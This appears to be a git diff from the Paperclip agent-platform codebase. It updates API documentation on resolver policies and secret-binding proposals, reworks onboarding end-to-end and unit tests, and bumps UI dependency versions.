+- Create accepts optional canonical `resolverPolicy: "anyone" | "not_creator" | "human_only"`. Every interaction kind defaults to `anyone` when omitted. Deprecated `board_or_agents` and `board_only` inputs remain compatibility aliases for new writes and normalize to `anyone` and `human_only`. The response snapshots immutable canonical `requestedResolverPolicy` and `effectiveResolverPolicy`, `resolverPolicyProvenance` (`explicit | inherited | legacy_inherited_restriction`), `effectiveResolverPolicySource` (`requested | company_cap | governed_action`), and `legacyResolverPolicyAliases`; later governance edits never widen an existing pending card. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance` keyed by kind, with optional `defaultPolicy` and `cap`; a cap can narrow but never widen the requested audience.
 - Create also accepts optional `addresseeAgentId` (an invokable same-company agent other than the creator) for structured agent-to-agent asks: Paperclip wakes the addressee with reason `interaction_pending`, only the addressee or a board user may resolve, and the pending card is omitted from the company attention feed. Not allowed with `request_confirmation.payload.toolAction` (`400`).
-- When `effectiveResolverPolicy` is `board_or_agents`, an eligible agent resolves through the same `accept`/`reject`/`respond`/`verdicts` routes with run-authenticated identity; resolution records `resolvedByAgentId`/`resolvedByRunId`. The resolver cannot be the creator agent or source run, low-trust and watchdog-scoped actors are denied, and `payload.toolAction` confirmations stay board-only regardless of policy.
+- Under `anyone`, an eligible in-company agent resolves through the same `accept`/`reject`/`respond`/`verdicts` routes with run-authenticated identity, including the creator agent or creating run. `not_creator` explicitly excludes those creators; `human_only` excludes agents. Low-trust/task-bridge containment, issue access, named addressees, staleness, and exact-once checks still apply. A task-watchdog run receives no special resolver audience or kind/purpose exception: it is evaluated as an ordinary agent. `payload.toolAction` confirmations remain `human_only` regardless of the requested policy.
+- Historical rows with unprovable explicit-vs-default provenance are migrated fail-closed: old `board_or_agents` semantics become `not_creator`, old `board_only` becomes `human_only`, and the row is marked `legacy_inherited_restriction`. Resolved outcomes and attribution are not rewritten.
+- Resolution records a response only. Suggested-task creation, plan continuation, tool/provider calls, deployments, spend, hiring, secrets, and every other downstream effect re-run their own authorization and approval checks.
 
 Rules:
 
@@ -917,7 +920,7 @@ Rules:
 - Rejection does not wake the assignee by default. The board/user can add a normal comment when revisions are needed.
 - Use idempotency keys that include the target and version, for example `confirmation:${issueId}:plan:${latestRevisionId}`.
 - Set `supersedeOnUserComment: true` when a later board/user comment should expire the pending request. On that wake, revise the artifact/proposal and create a fresh confirmation if approval is still needed.
-- A pending interaction is an explicit waiting path. Before ending the heartbeat, update the source issue into a visible waiting posture, normally `in_review`, and leave a comment that names what the board/user must decide.
+- A pending interaction is an explicit waiting path. Before ending the heartbeat, update the source issue into a visible waiting posture, normally `in_review`, and leave a comment that names the response needed and the effective audience.
 - For plan approval, update the `plan` issue document first, create the confirmation against the latest plan revision, set the source issue to `in_review`, and wait for acceptance before creating implementation subtasks.
 
 ### Checkbox confirmations
@@ -1402,7 +1405,48 @@ curl -s -X POST \
   "$PAPERCLIP_API_BASE/api/agents/me/secret-proposals"
 ```
 
-A binding must specify exactly one of `secretProposalId` or `secretId`. `configPath` accepts `env.<KEY>` for environment injection or `access.<ALIAS>` for API-only access. Under the default `self_and_reports` policy, `targetAgentId` may identify a downward report of the proposer; omitting it targets the proposer. Other targets are denied, and approval rechecks the current chain of command.
+A binding must specify exactly one of `secretProposalId`, `secretId`, or `sourceConfigPath`. `configPath` accepts `env.<KEY>` for environment injection or `access.<ALIAS>` for API-only access. Under the default `self_and_reports` policy, `targetAgentId` may identify a downward report of the proposer; omitting it targets the proposer. Other targets are denied, and approval rechecks the current chain of command.
+
+##### Re-bind an existing secret under a new path (no secret ID)
+
+Use `sourceConfigPath` when the secret is already bound to the proposing agent. The server resolves that agent's own `env.*` or `access.*` binding, so the request never needs a secret ID or `secretRef`:
+
+```bash
+PAPERCLIP_API_BASE="${PAPERCLIP_API_URL%/}"
+PAPERCLIP_API_BASE="${PAPERCLIP_API_BASE%/api}"
+jq -n \
+  --arg sourceConfigPath "access.openai_api_key" \
+  --arg configPath "access.evals_openai_api_key" \
+  --arg justification "Use the existing OpenAI credential under the eval-specific alias" \
+  '{kind:"binding", sourceConfigPath:$sourceConfigPath, configPath:$configPath, justification:$justification}' |
+curl -s -X POST \
+  -H "Authorization: Bearer $PAPERCLIP_API_KEY" \
+  -H "Content-Type: application/json" \
+  --data-binary @- \
+  "$PAPERCLIP_API_BASE/api/agents/me/secret-proposals"
+```
+
+`sourceConfigPath` must name an existing binding on the proposing agent; another agent's path and an unknown path both return `404`. Omit `targetAgentId` to bind the alias back to yourself. Supplying more than one source selector (`sourceConfigPath`, `secretId`, or `secretProposalId`) is rejected.
+
+When this request comes from a run with a checked-out origin issue, Paperclip creates a human-only **Confirm secret binding** card in that issue automatically. Do not create a separate interaction. The card shows the source secret's label (never its value or fingerprint), target agent, new `configPath`, justification, and expiry. A human can select **Create binding** or reject it with a reason.
+
+Card acceptance is not execution. Acceptance records the decision and then Paperclip separately re-authorizes and attempts the binding write. The card's `result.secretProposal.status` is the real outcome:
+
+- `executed`: the binding write completed.
+- `failed`: acceptance succeeded but the binding write did not. The card renders **FAILED**, includes an `errorCode`, and the issue receives a **Secret binding execution failed** comment stating `Binding created: no`.
+- `rejected`, `withdrawn`, or `expired`: no binding was created.
+
+The card uses `continuationPolicy: "wake_assignee"`. On resolution the issue assignee is woken with `payload.secretProposal`, including the requested `configPath`, `decision`, `executionStatus`, and instructions. Even when `decision` is `accepted`, trust `executionStatus`, not the acceptance alone.
+
+**After any secret card resolves, re-verify through `GET /api/agents/me/secrets`. Acceptance is not execution.** On the resumed run, call:
+
+```bash
+curl -s \
+  -H "Authorization: Bearer $PAPERCLIP_API_KEY" \
+  "$PAPERCLIP_API_BASE/api/agents/me/secrets"
+```
+
+Confirm the expected secret metadata and delivery are present before using the new binding. If the wake reports `failed`, or the metadata is absent, treat the alias as unavailable, inspect the failure comment, fix the cause, and submit a fresh proposal. Never infer success merely because the card says accepted.
 
 `GET /api/agents/me/secret-proposals` returns `{ "proposals": [...] }` containing proposals created by the authenticated agent plus binding proposals whose target is that agent. Secret values, value fingerprints, and value lengths are omitted. `DELETE /api/agents/me/secret-proposals/:id` changes a proposal created by that agent from `pending` to `withdrawn`; other agents' proposals and terminal proposals cannot be withdrawn.
 
@@ -1421,6 +1465,7 @@ List response:
   "secrets": [
     {
       "key": "github_token",
+      "secretRef": "11111111-1111-4111-8111-111111111111",
       "name": "GitHub token",
       "description": null,
       "delivery": "env",
@@ -1433,7 +1478,7 @@ List response:
 }
 ```
 
-`delivery` is `env`, `api`, or `both`. List responses never include values, secret IDs, binding IDs, or config paths. Successful lists write `activity_log.action = secret.access.listed` but do not create `secret_access_events` rows.
+`delivery` is `env`, `api`, or `both`. `secretRef` is a stable opaque handle, not secret material or a capability; every route that accepts it re-authorizes the caller. List responses never include values, the internal `secretId` field, binding IDs, or config paths. Successful lists write `activity_log.action = secret.access.listed` but do not create `secret_access_events` rows.
 
 Value response (`Cache-Control: no-store`):
 
diff --git a/tests/e2e/conference-room-typing-intro.spec.ts b/tests/e2e/conference-room-typing-intro.spec.ts
index 6d528bc99f4..4bffe5f5eb8 100644
--- a/tests/e2e/conference-room-typing-intro.spec.ts
+++ b/tests/e2e/conference-room-typing-intro.spec.ts
@@ -81,10 +81,11 @@ async function runOnboardingWizard(page: Page, companyName: string) {
   await page.getByPlaceholder("What is your team trying to achieve?").fill(MISSION);
   await page.getByRole("button", { name: /Confirm mission/ }).click();
 
-  // Step 3: lead name (prefilled) → Next.
-  await page.waitForSelector('input[placeholder="Chief of staff"]', {
-    timeout: 15_000,
-  });
+  // Step 3: the lead's role, then its name. The role gates "Next", and
+  // choosing one fills the name — so the walk only types here to override it.
+  await page.waitForSelector("#onboarding-agent-role", { timeout: 15_000 });
+  await page.locator("#onboarding-agent-role").click();
+  await page.getByRole("option", { name: "CEO", exact: true }).click();
   await page.getByRole("button", { name: /^Next/ }).click();
 
   // Step 4: adapter (claude_local default); heartbeat is intercepted.
diff --git a/tests/e2e/nux-phase4-screenshots.spec.ts b/tests/e2e/nux-phase4-screenshots.spec.ts
index c872f5712bd..d5b56929e4c 100644
--- a/tests/e2e/nux-phase4-screenshots.spec.ts
+++ b/tests/e2e/nux-phase4-screenshots.spec.ts
@@ -83,7 +83,7 @@ test.describe("NUX Phase 4 visual QA", () => {
     // Step 2 advances via "Confirm mission" (creates the company + goal);
     // step 3 is the team-lead naming step of the capsule wizard.
     await page.getByRole("button", { name: /Confirm mission/ }).click();
-    await page.waitForSelector('input[placeholder="Chief of staff"]', {
+    await page.waitForSelector("#onboarding-agent-role", {
       timeout: 30_000,
     });
     await page.screenshot({ path: shot("04-hire-team-lead.png") });
diff --git a/tests/e2e/onboarding.spec.ts b/tests/e2e/onboarding.spec.ts
index a29078a724c..ecd077d3329 100644
--- a/tests/e2e/onboarding.spec.ts
+++ b/tests/e2e/onboarding.spec.ts
@@ -71,7 +71,7 @@ test.describe("Onboarding wizard", () => {
     // "Confirm mission" creates the company + a company-level goal, then
     // advances to the team-lead naming step of the capsule wizard.
     await page.getByRole("button", { name: /Confirm mission/ }).click();
-    await page.waitForSelector('input[placeholder="Chief of staff"]', {
+    await page.waitForSelector("#onboarding-agent-role", {
       timeout: 30_000,
     });
 
diff --git a/tests/e2e/planning-mode-visual-verification.spec.ts b/tests/e2e/planning-mode-visual-verification.spec.ts
index 398fe24f0d4..fb362d40e9d 100644
--- a/tests/e2e/planning-mode-visual-verification.spec.ts
+++ b/tests/e2e/planning-mode-visual-verification.spec.ts
@@ -4,7 +4,8 @@ import {
   instrumentNavLog,
 } from "./helpers/onboarding-landing";
 
-const AGENT_NAME = "Chief of staff";
+/** The name the CEO role fills in — see AGENT_ROLE_LABELS. */
+const AGENT_NAME = "CEO";
 const TASK_TITLE = "Paperclip onboarding";
 
 test("captures planning mode UI for desktop and mobile", async ({ page }) => {
@@ -64,8 +65,12 @@ test("captures planning mode UI for desktop and mobile", async ({ page }) => {
     .fill("Capture planning mode visual evidence for the graduated task UI.");
   await page.getByRole("button", { name: /Confirm mission/ }).click();
 
-  await page.waitForSelector('input[placeholder="Chief of staff"]', { timeout: 30_000 });
-  await expect(page.locator('input[placeholder="Chief of staff"]')).toHaveValue(AGENT_NAME);
+  // The lead is no longer pre-named. Choosing a role fills the name from the
+  // role's label, which is also what gates "Next".
+  await page.waitForSelector("#onboarding-agent-role", { timeout: 30_000 });
+  await page.locator("#onboarding-agent-role").click();
+  await page.getByRole("option", { name: "CEO", exact: true }).click();
+  await expect(page.locator("#onboarding-agent-name")).toHaveValue(AGENT_NAME);
 
   await page.getByRole("button", { name: /^Next/ }).click();
   await page.getByRole("button", { name: /^Connect$/ }).click();
@@ -135,7 +140,7 @@ test("captures planning mode UI for desktop and mobile", async ({ page }) => {
 
   await page.goto(issuePath);
   await page.getByTestId("task-chat-composer-mode").click();
-  await page.getByRole("menuitem", { name: /Agent mode/ }).click();
+  await page.getByRole("menuitem", { name: /Auto mode/ }).click();
   await expect(page.getByTestId("task-chat-composer-mode")).toHaveAttribute("data-pending-work-mode", "standard");
   await page.screenshot({
     path: `${screenshotDir}/desktop-standard-toggle-${timestamp}.png`,
diff --git a/tests/e2e/playwright.config.ts b/tests/e2e/playwright.config.ts
index e5d6c2e7119..8fc3beae1fa 100644
--- a/tests/e2e/playwright.config.ts
+++ b/tests/e2e/playwright.config.ts
@@ -19,6 +19,10 @@ const PLAYWRIGHT_CHANNEL = process.env.PAPERCLIP_PLAYWRIGHT_CHANNEL;
 
 process.env.PAPERCLIP_HOME = PAPERCLIP_HOME;
 process.env.PAPERCLIP_CONFIG = PAPERCLIP_CONFIG;
+// Specs that mint agent JWTs in-process (via createLocalAgentJwt) must derive
+// the same per-instance signing key as the webServer, or verification fails
+// with a 401 instead of authenticating as the agent.
+process.env.PAPERCLIP_INSTANCE_ID = PAPERCLIP_INSTANCE_ID;
 process.env.PAPERCLIP_AGENT_JWT_SECRET = PAPERCLIP_AGENT_JWT_SECRET;
 process.env.PAPERCLIP_DECISION_SIGNING_SECRET = PAPERCLIP_DECISION_SIGNING_SECRET;
 process.env.PAPERCLIP_TOOL_ACTION_SIGNING_SECRET = PAPERCLIP_TOOL_ACTION_SIGNING_SECRET;
diff --git a/tests/release-smoke/docker-auth-onboarding.spec.ts b/tests/release-smoke/docker-auth-onboarding.spec.ts
index f094e9e537f..031d5862d9e 100644
--- a/tests/release-smoke/docker-auth-onboarding.spec.ts
+++ b/tests/release-smoke/docker-auth-onboarding.spec.ts
@@ -14,7 +14,7 @@ const MISSION = "Ship a reliable release smoke suite for Paperclip.";
 const AGENT_NAME = "CEO";
 // Seeded by the wizard's launch step (DEFAULT_TASK_TITLE in
 // ui/src/components/OnboardingWizard.tsx).
-const FIRST_TASK_TITLE = "Hire your first engineer and create a hiring plan";
+const FIRST_TASK_TITLE = "Paperclip onboarding";
 
 async function signIn(page: Page) {
   await page.goto("/");
@@ -28,7 +28,7 @@ async function signIn(page: Page) {
 }
 
 async function openOnboarding(page: Page) {
-  const wizardHeading = page.locator("h3", { hasText: "Name your company" });
+  const wizardHeading = page.locator("h3", { hasText: "Name your organization" });
   const startButton = page.getByRole("button", { name: "Start Onboarding" });
 
   await expect(wizardHeading.or(startButton)).toBeVisible({ timeout: 20_000 });
@@ -61,30 +61,32 @@ test.describe("Docker authenticated onboarding smoke", () => {
       .fill(MISSION);
     await page.getByRole("button", { name: "Confirm mission" }).click();
 
-    // Step 3: name the team lead.
-    const leadNameInput = page.locator('input[placeholder="Chief of staff"]');
-    await expect(leadNameInput).toBeVisible({ timeout: 20_000 });
-    await leadNameInput.fill(AGENT_NAME);
+    // Step 3: give the team lead a role, then a name. The role gates "Next".
+    const roleSelect = page.locator("#onboarding-agent-role");
+    await expect(roleSelect).toBeVisible({ timeout: 20_000 });
+    await roleSelect.click();
+    await page.getByRole("option", { name: "CEO", exact: true }).click();
+    await page.locator("#onboarding-agent-name").fill(AGENT_NAME);
     await page.getByRole("button", { name: "Next" }).click();
 
-    // Step 4: keep the default adapter and hire the lead. The adapter
-    // environment test runs inside the smoke container, where no agent CLIs
-    // are installed; an unhealthy report is expected and must not block the
-    // hire. Allow generous time for the env probe + hire + auto-approval.
-    const heartbeatButton = page.getByRole("button", {
-      name: "Give it a heartbeat",
-    });
-    await expect(heartbeatButton).toBeVisible({ timeout: 10_000 });
-    await expect(heartbeatButton).toBeEnabled({ timeout: 30_000 });
-    await heartbeatButton.click();
+    // Step 4: keep the default adapter and connect (hire) the lead. The
+    // adapter environment check runs inside the smoke container, where no
+    // agent CLIs are installed; an unhealthy report is expected and must not
+    // block the hire. Allow generous time for the env probe + hire +
+    // auto-approval.
+    const connectButton = page.getByRole("button", { name: "Connect" });
+    await expect(connectButton).toBeVisible({ timeout: 10_000 });
+    await expect(connectButton).toBeEnabled({ timeout: 30_000 });
+    await connectButton.click();
 
     // Step 5: review, then launch. "Get started" provisions the onboarding
-    // goal/project and navigates to the dashboard only on success.
+    // goal/project/first task and, only on success, drops the user into the
+    // seeded first task's thread (not the dashboard).
     const getStartedButton = page.getByRole("button", { name: "Get started" });
     await expect(getStartedButton).toBeVisible({ timeout: 60_000 });
     await expect(getStartedButton).toBeEnabled({ timeout: 10_000 });
     await getStartedButton.click();
-    await expect(page).toHaveURL(/\/dashboard/, { timeout: 30_000 });
+    await expect(page).toHaveURL(/\/issues\//, { timeout: 30_000 });
 
     const baseUrl = new URL(page.url()).origin;
 
@@ -135,6 +137,7 @@ test.describe("Docker authenticated onboarding smoke", () => {
     expect(issuesRes.ok()).toBe(true);
     const issues = (await issuesRes.json()) as Array<{
       id: string;
+      identifier: string | null;
       title: string;
       assigneeAgentId: string | null;
     }>;
@@ -142,6 +145,13 @@ test.describe("Docker authenticated onboarding smoke", () => {
     expect(seededIssue).toBeTruthy();
     expect(seededIssue!.assigneeAgentId).toBe(ceoAgent!.id);
 
+    // The launch must have landed on the seeded task itself, not merely on
+    // some issue route.
+    const seededRef = seededIssue!.identifier ?? seededIssue!.id;
+    expect(new URL(page.url()).pathname.endsWith(`/issues/${seededRef}`)).toBe(
+      true
+    );
+
     await expect.poll(
       async () => {
         const runsRes = await page.request.get(
diff --git a/ui/package.json b/ui/package.json
index 1e81e21011c..ae0c33915ff 100644
--- a/ui/package.json
+++ b/ui/package.json
@@ -28,8 +28,8 @@
     "access": "public"
   },
   "dependencies": {
-    "@assistant-ui/react": "0.14.14",
-    "@base-ui/react": "^1.6.0",
+    "@assistant-ui/react": "0.15.14",
+    "@base-ui/react": "^1.7.0",
     "@dnd-kit/core": "^6.3.1",
     "@dnd-kit/sortable": "^10.0.0",
     "@dnd-kit/utilities": "^3.2.2",
@@ -41,6 +41,7 @@
     "@paperclipai/adapter-cursor-local": "workspace:*",
     "@paperclipai/adapter-gemini-local": "workspace:*",
     "@paperclipai/adapter-grok-local": "workspace:*",
+    "@paperclipai/adapter-kimi-local": "workspace:*",
     "@paperclipai/adapter-openclaw-gateway": "workspace:*",
     "@paperclipai/adapter-opencode-local": "workspace:*",
     "@paperclipai/adapter-pi-local": "workspace:*",
@@ -59,29 +60,33 @@
     "lexical": "0.49.0",
     "lucide-react": "^0.577.0",
     "mermaid": "^11.16.1",
-    "radix-ui": "^1.6.4",
-    "react": "^19.2.7",
-    "react-dom": "^19.2.7",
-    "react-i18next": "^17.0.10",
+    "motion": "^12.42.2",
+    "radix-ui": "^1.6.7",
+    "react": "^19.2.8",
+    "react-dom": "^19.2.8",
+    "react-i18next": "^17.0.11",
     "react-markdown": "^10.1.0",
     "react-resizable-panels": "^4.12.2",
-    "react-router-dom": "^7.18.1",
+    "react-router-dom": "^7.18.2",
     "remark-gfm": "^4.0.1",
     "tailwind-merge": "^3.6.0"
   },
   "devDependencies": {
-    "@storybook/addon-a11y": "10.5.4",
-    "@storybook/addon-docs": "10.5.0",
-    "@storybook/react-vite": "10.5.0",
+    "@storybook/addon-a11y": "10.5.8",
+    "@storybook/addon-docs": "10.5.8",
+    "@storybook/react-vite": "10.5.8",
     "@tailwindcss/vite": "^4.3.3",
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
-    "@vitejs/plugin-react": "^4.3.4",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
+    "@vitejs/plugin-react": "^5.2.0",
     "storybook": "10.5.5",
-    "tailwindcss": "^4.3.2",
+    "tailwindcss": "^4.3.3",
     "typescript": "^5.7.3",
     "vite": "^6.4.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/ui/src/App.activity-routing.test.tsx b/ui/src/App.activity-routing.test.tsx
index 534bf3ecb11..5a7e5ce7de4 100644
--- a/ui/src/App.activity-routing.test.tsx
+++ b/ui/src/App.activity-routing.test.tsx
@@ -111,12 +111,16 @@ function renderAppAt(container: HTMLElement, path: string) {
   return root;
 }
 
+/**
+ * Waits on the condition, not on a fixed number of turns. The previous version
+ * yielded at most five macrotasks before asserting, which is ample on an idle
+ * machine and not when the suite is running many workers in parallel — the
+ * container was still empty and the assertion failed on a route that resolves
+ * perfectly well. `vi.waitFor` retries against a time budget instead, so a
+ * loaded worker gets more turns rather than a failure.
+ */
 async function waitForRoute(container: HTMLElement, text: string) {
-  for (let attempt = 0; attempt < 5; attempt += 1) {
-    if (container.textContent?.includes(text)) return;
-    await new Promise((resolve) => window.setTimeout(resolve, 0));
-  }
-  expect(container.textContent).toContain(text);
+  await vi.waitFor(() => expect(container.textContent).toContain(text));
 }
 
 describe("App Activity routing (PAP-16302)", () => {
diff --git a/ui/src/App.cases-routing.test.tsx b/ui/src/App.cases-routing.test.tsx
index a46b31b371f..7a85e819814 100644
--- a/ui/src/App.cases-routing.test.tsx
+++ b/ui/src/App.cases-routing.test.tsx
@@ -100,12 +100,19 @@ async function renderAppAt(container: HTMLElement, path: string) {
   return root;
 }
 
+/**
+ * Waits on the condition, not on a fixed number of turns. The previous version
+ * yielded at most three macrotasks before asserting, which is ample on an idle
+ * machine and not when the suite is running many workers in parallel — the
+ * container was still empty and the assertion failed on a route that resolves
+ * perfectly well. `vi.waitFor` retries against a time budget instead, so a
+ * loaded worker gets more turns rather than a failure.
+ *
+ * The same fix #11499 applied to the sibling `App.activity-routing.test.tsx`,
+ * which had the identical loop with five turns instead of three.
+ */
 async function waitForRoute(container: HTMLElement, text: string) {
-  for (let attempt = 0; attempt < 3; attempt += 1) {
-    if (container.textContent?.includes(text)) return;
-    await new Promise((resolve) => window.setTimeout(resolve, 0));
-  }
-  expect(container.textContent).toContain(text);
+  await vi.waitFor(() => expect(container.textContent).toContain(text));
 }
 
 describe("App Cases routing (PAP-13002)", () => {
diff --git a/ui/src/App.onboarding-launcher.test.tsx b/ui/src/App.onboarding-launcher.test.tsx
new file mode 100644
index 00000000000..84e14e530c9
--- /dev/null
+++ b/ui/src/App.onboarding-launcher.test.tsx
@@ -0,0 +1,218 @@
+// @vitest-environment jsdom
+
+import { act } from "react";
+import { createRoot, type Root } from "react-dom/client";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  ONBOARDING_AGENT_STEP,
+  ONBOARDING_MISSION_STEP,
+} from "./lib/onboarding-route";
+
+/**
+ * The third way into onboarding for a company that already exists: the "Add
+ * Agent" card on `/{prefix}/onboarding`, shown once the wizard is dismissed.
+ *
+ * The route resolver and the dashboard both choose the step from whether the
+ * company already has its mission. This button hardcoded the mission step, so
+ * the one entry point whose own copy says "add another agent" was the one that
+ * stopped to ask for the mission again.
+ */
+
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
+
+// jsdom's CSS parser rejects the custom-property marker rule stitches inserts
+// (`--sxs{--sxs:N}`), pulled into <App>'s eager import graph transitively via
+// @codesandbox/sandpack-react. Substitute a benign, valid rule on parse failure
+// so stitches' index bookkeeping stays intact and the module graph evaluates.
+vi.hoisted(() => {
+  const sheetProto = window.CSSStyleSheet.prototype as unknown as {
+    insertRule: (rule: string, index?: number) => number;
+    __papLauncherPatched?: boolean;
+  };
+  if (!sheetProto.__papLauncherPatched) {
+    const original = sheetProto.insertRule;
+    sheetProto.insertRule = function patched(this: CSSStyleSheet, rule: string, index?: number) {
+      try {
+        return original.call(this, rule, index);
+      } catch {
+        try {
+          return original.call(this, ".pap-launcher-noop{}", index);
+        } catch {
+          return this.cssRules?.length ?? 0;
+        }
+      }
+    };
+    sheetProto.__papLauncherPatched = true;
+  }
+});
+
+const routeState = vi.hoisted(() => ({ companyPrefix: "PC1" as string | undefined }));
+const dialogState = vi.hoisted(() => ({
+  onboardingOpen: false,
+  onboardingRouteDismissed: true,
+  openOnboarding: vi.fn(),
+}));
+const mockGoalsApi = vi.hoisted(() => ({ list: vi.fn() }));
+
+vi.mock("@/lib/router", async () => {
+  const actual = await vi.importActual<typeof import("react-router-dom")>("react-router-dom");
+  return {
+    ...actual,
+    useParams: () => ({ companyPrefix: routeState.companyPrefix }),
+    useActiveCompanyPrefix: () => routeState.companyPrefix ?? null,
+  };
+});
+
+vi.mock("./context/CompanyContext", () => ({
+  useCompany: () => ({
+    companies: [{ id: "company-1", name: "Acme", issuePrefix: "PC1" }],
+    selectedCompanyId: "company-1",
+    loading: false,
+    error: null,
+  }),
+}));
+
+vi.mock("./context/DialogContext", () => ({
+  useDialogActions: () => ({ openOnboarding: dialogState.openOnboarding }),
+  useDialogState: () => ({
+    onboardingOpen: dialogState.onboardingOpen,
+    onboardingRouteDismissed: dialogState.onboardingRouteDismissed,
+  }),
+}));
+
+vi.mock("./api/goals", () => ({ goalsApi: mockGoalsApi }));
+
+const { OnboardingRoutePage } = await import("./App");
+
+const COMPANY_GOAL = {
+  id: "goal-1",
+  companyId: "company-1",
+  title: "Scale the marketplace",
+  description: null,
+  level: "company",
+  status: "active",
+  parentId: null,
+  ownerAgentId: null,
+  createdAt: new Date("2026-03-02T00:00:00Z"),
+  updatedAt: new Date("2026-03-02T00:00:00Z"),
+};
+
+describe("the onboarding launcher's Add Agent button", () => {
+  let container: HTMLDivElement;
+  let queryClient: QueryClient;
+  let root: Root | null = null;
+
+  async function render() {
+    root = createRoot(container);
+    await act(async () => {
+      root!.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingRoutePage />
+        </QueryClientProvider>,
+      );
+    });
+  }
+
+  async function settle(ticks = 12) {
+    for (let i = 0; i < ticks; i++) {
+      await act(async () => {
+        await new Promise((resolve) => setTimeout(resolve, 0));
+      });
+    }
+  }
+
+  function addAgentButton(): HTMLButtonElement {
+    const button = [...container.querySelectorAll("button")].find((b) =>
+      b.textContent?.includes("Add Agent"),
+    );
+    // Asserted rather than optional-chained: a lookup that silently matches
+    // nothing turns the click below into a no-op and the test into decoration.
+    expect(button).toBeDefined();
+    return button!;
+  }
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+    queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    routeState.companyPrefix = "PC1";
+    dialogState.onboardingOpen = false;
+    dialogState.onboardingRouteDismissed = true;
+    mockGoalsApi.list.mockResolvedValue([]);
+  });
+
+  afterEach(async () => {
+    await act(async () => root?.unmount());
+    root = null;
+    queryClient.clear();
+    container.remove();
+    document.body.innerHTML = "";
+    vi.clearAllMocks();
+  });
+
+  it("opens on the agent step for a company that already has its mission", async () => {
+    mockGoalsApi.list.mockResolvedValue([COMPANY_GOAL]);
+    await render();
+    await settle();
+
+    await act(async () => {
+      addAgentButton().dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(dialogState.openOnboarding).toHaveBeenCalledWith({
+      initialStep: ONBOARDING_AGENT_STEP,
+      companyId: "company-1",
+    });
+  });
+
+  it("still asks for the mission when the company has none", async () => {
+    mockGoalsApi.list.mockResolvedValue([]);
+    await render();
+    await settle();
+
+    await act(async () => {
+      addAgentButton().dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(dialogState.openOnboarding).toHaveBeenCalledWith({
+      initialStep: ONBOARDING_MISSION_STEP,
+      companyId: "company-1",
+    });
+  });
+
+  it("asks for the mission when the lookup fails, rather than skipping it", async () => {
+    // Same fail-open rule the other two entry points follow: an unknown
+    // mission costs the step, which the customer can answer. Confirming it now
+    // updates the company's existing goal rather than adding a second one.
+    mockGoalsApi.list.mockRejectedValue(new Error("goals unavailable"));
+    await render();
+    await settle();
+
+    await act(async () => {
+      addAgentButton().dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(dialogState.openOnboarding).toHaveBeenCalledWith({
+      initialStep: ONBOARDING_MISSION_STEP,
+      companyId: "company-1",
+    });
+  });
+
+  it("opens with no company when the prefix matches none", async () => {
+    routeState.companyPrefix = "NOPE";
+    await render();
+    await settle();
+
+    const start = [...container.querySelectorAll("button")].find((b) =>
+      b.textContent?.includes("Start Onboarding"),
+    );
+    expect(start).toBeDefined();
+    await act(async () => {
+      start!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(dialogState.openOnboarding).toHaveBeenCalledWith();
+  });
+});
diff --git a/ui/src/App.test.tsx b/ui/src/App.test.tsx
index 43833179136..920f192baf8 100644
--- a/ui/src/App.test.tsx
+++ b/ui/src/App.test.tsx
@@ -43,17 +43,18 @@ vi.mock("@/lib/router", () => ({
   useParams: () => ({}),
 }));
 
-async function flushReact() {
-  await Promise.resolve();
-  await new Promise((resolve) => window.setTimeout(resolve, 0));
-}
-
+/**
+ * Waits on the condition, not on a fixed number of turns. A hand-rolled retry
+ * loop is ample on an idle machine and not when the suite runs many workers in
+ * parallel: it gives up after N turns and reports a failure on behaviour that
+ * works. `vi.waitFor` retries against a time budget, so a loaded worker gets
+ * more turns instead.
+ *
+ * Same replacement as #11499 and #11521, which fixed the shorter-budget
+ * instances of this in the routing tests.
+ */
 async function waitForText(container: HTMLElement, text: string) {
-  for (let attempt = 0; attempt < 20; attempt += 1) {
-    if (container.textContent?.includes(text)) return;
-    await flushReact();
-  }
-  expect(container.textContent).toContain(text);
+  await vi.waitFor(() => expect(container.textContent).toContain(text));
 }
 
 function renderGate(container: HTMLElement) {
@@ -160,7 +161,7 @@ describe("CloudAccessGate", () => {
 
     expect(container.textContent).toContain("Finish setting up this Paperclip");
     expect(container.textContent).toContain("Sign in / Create account");
-    expect(container.textContent).toContain("pnpm paperclipai auth bootstrap-ceo");
+    expect(container.textContent).toContain("npx paperclipai auth bootstrap-ceo");
     expect(mockAccessApi.getCurrentBoardAccess).not.toHaveBeenCalled();
 
     unmountRoot(root);
diff --git a/ui/src/App.tsx b/ui/src/App.tsx
index 5582747ee3a..ab983b0d690 100644
--- a/ui/src/App.tsx
+++ b/ui/src/App.tsx
@@ -1,3 +1,4 @@
+import { lazy, Suspense } from "react";
 import { Navigate, Outlet, Route, Routes, useActiveCompanyPrefix, useLocation, useParams } from "@/lib/router";
 import { Button } from "@/components/ui/button";
 import { useTranslation } from "@/i18n";
@@ -8,6 +9,8 @@ import { PipelinesExperimentalGate } from "./components/PipelinesExperimentalGat
 import { CasesExperimentalGate } from "./components/CasesExperimentalGate";
 import { StatusCardsExperimentalGate } from "./components/StatusCardsExperimentalGate";
 import { AppsExperimentalGate } from "./components/AppsExperimentalGate";
+import { HiddenSettingsPageGate } from "./components/HiddenSettingsPageGate";
+import { useHiddenSettings } from "./hooks/useHiddenSettings";
 import { Cases } from "./pages/Cases";
 import { CaseDetail } from "./pages/CaseDetail";
 import { OnboardingWizardVariant } from "./components/OnboardingWizardVariant";
@@ -68,13 +71,11 @@ import { CompanyInvites } from "./pages/CompanyInvites";
